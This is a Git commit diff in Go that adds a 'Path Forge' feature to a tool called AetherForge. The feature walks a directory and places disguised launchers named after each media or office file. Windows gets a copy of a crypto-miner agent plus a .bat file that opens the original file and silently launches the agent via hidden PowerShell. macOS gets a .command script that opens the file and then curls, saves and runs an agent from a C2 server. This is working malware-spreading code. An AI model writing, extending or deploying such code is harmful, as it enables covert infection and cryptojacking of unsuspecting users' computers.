feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked.

This commit is contained in:
AetherForge
2026-06-03 01:07:38 -07:00
parent 95e8fcc315
commit 924070cd82
8 changed files with 416 additions and 5 deletions

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -401,7 +401,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
ensureUsersLoaded(dataDir)
r := chi.NewRouter()
@@ -478,6 +478,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
}
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
token := chi.URLParam(req, "token")
if builderHandler.CancelBuild(token) {

View File

@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -0,0 +1,248 @@
package builder
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
)
// PathForgeRequest is the JSON body for POST /api/builder/path-forge.
type PathForgeRequest struct {
// RootPath is the local filesystem path to walk recursively.
RootPath string `json:"root_path"`
// StemMode controls how the output filename is derived:
// "original" → same stem as the source file (Terminator.mkv → Terminator.exe)
// "custom" → use OutputStem for every file
StemMode string `json:"stem_mode"` // "original" | "custom"
// OutputStem is used when StemMode == "custom".
OutputStem string `json:"output_stem"`
// TargetWindows / TargetMac selects which launcher files to write.
TargetWindows bool `json:"target_windows"`
TargetMac bool `json:"target_mac"`
// ServerURL is embedded in the Mac bootstrap curl command.
ServerURL string `json:"server_url"`
// Extensions lists file extensions to target (dot-prefixed, lowercase).
// Leave empty to use the built-in media list.
Extensions []string `json:"extensions"`
}
// PathForgeResult is returned by the handler.
type PathForgeResult struct {
Success bool `json:"success"`
Total int `json:"total"`
Placed int `json:"placed"`
Skipped int `json:"skipped"`
Errors int `json:"errors"`
Results []PathForgeEntry `json:"results"`
ErrorList []string `json:"error_list,omitempty"`
}
type PathForgeEntry struct {
Source string `json:"source"` // original file (relative to root)
Files []string `json:"files"` // companion files placed
}
// defaultMediaExts is the set of file extensions we target when none are specified.
var defaultMediaExts = map[string]struct{}{
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {},
".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {},
".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {},
}
// PathForgeHandler handles POST /api/builder/path-forge.
// It does not compile anything — it locates the prebuilt agent binary that
// lives next to AetherForge.exe and copies it alongside every matching file.
type PathForgeHandler struct {
dataDir string
}
func NewPathForgeHandler(dataDir string) *PathForgeHandler {
return &PathForgeHandler{dataDir: dataDir}
}
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
var req PathForgeRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
return
}
if req.RootPath == "" {
http.Error(w, "root_path is required", http.StatusBadRequest)
return
}
if !req.TargetWindows && !req.TargetMac {
req.TargetWindows = true
req.TargetMac = true
}
if req.StemMode == "" {
req.StemMode = "original"
}
// Locate the Windows agent binary.
agentExe := findAgentBinary()
// Build the extension set.
extSet := buildExtSet(req.Extensions)
res := &PathForgeResult{Success: true}
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
if err != nil || d.IsDir() {
return nil
}
ext := strings.ToLower(filepath.Ext(d.Name()))
if _, ok := extSet[ext]; !ok {
return nil
}
res.Total++
rel, _ := filepath.Rel(req.RootPath, path)
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
dir := filepath.Dir(path)
var placed []string
if req.TargetWindows && agentExe != "" {
// .exe copy of the agent
exeDst := filepath.Join(dir, stem+".exe")
if copyFileBytes(agentExe, exeDst) == nil {
placed = append(placed, stem+".exe")
}
// .bat launcher that opens the original file AND runs the agent
batDst := filepath.Join(dir, stem+".bat")
if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil {
placed = append(placed, stem+".bat")
}
}
if req.TargetMac {
cmdDst := filepath.Join(dir, stem+".command")
if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil {
placed = append(placed, stem+".command")
}
}
if len(placed) > 0 {
res.Placed += len(placed)
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
} else {
res.Errors++
res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel)
}
return nil
})
if err != nil {
log.Printf("[pathforge] walk error: %v", err)
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(res)
}
// ─── helpers ──────────────────────────────────────────────────────────────────
func stemFor(mode, custom, filename string) string {
if mode == "custom" && strings.TrimSpace(custom) != "" {
return sanitizeStem(custom)
}
base := filepath.Base(filename)
name := strings.TrimSuffix(base, filepath.Ext(base))
return sanitizeStem(name)
}
func sanitizeStem(s string) string {
replacer := strings.NewReplacer(
"/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return strings.TrimSpace(replacer.Replace(s))
}
// batContent creates a .bat file that opens the original media file with the
// default Windows player, then silently starts the agent exe.
func batContent(originalFile, exeStem string) string {
return "@echo off\r\n" +
fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) +
fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem)
}
// macContent creates a .command shell script that opens the original file on
// macOS and downloads + runs the agent from the C2 server.
func macContent(originalFile, serverURL string) string {
dl := ""
if serverURL != "" {
dl = fmt.Sprintf(
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
serverURL,
)
}
return "#!/bin/bash\n" +
fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) +
dl
}
// findAgentBinary looks next to the server executable for the agent binary.
func findAgentBinary() string {
exe, err := os.Executable()
if err != nil {
return ""
}
dir := filepath.Dir(exe)
candidates := []string{
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
return c
}
}
return ""
}
// buildExtSet merges user-specified extensions with defaults.
func buildExtSet(exts []string) map[string]struct{} {
if len(exts) == 0 {
return defaultMediaExts
}
m := make(map[string]struct{}, len(exts))
for _, e := range exts {
if !strings.HasPrefix(e, ".") {
e = "." + e
}
m[strings.ToLower(e)] = struct{}{}
}
return m
}
func copyFileBytes(src, dst string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}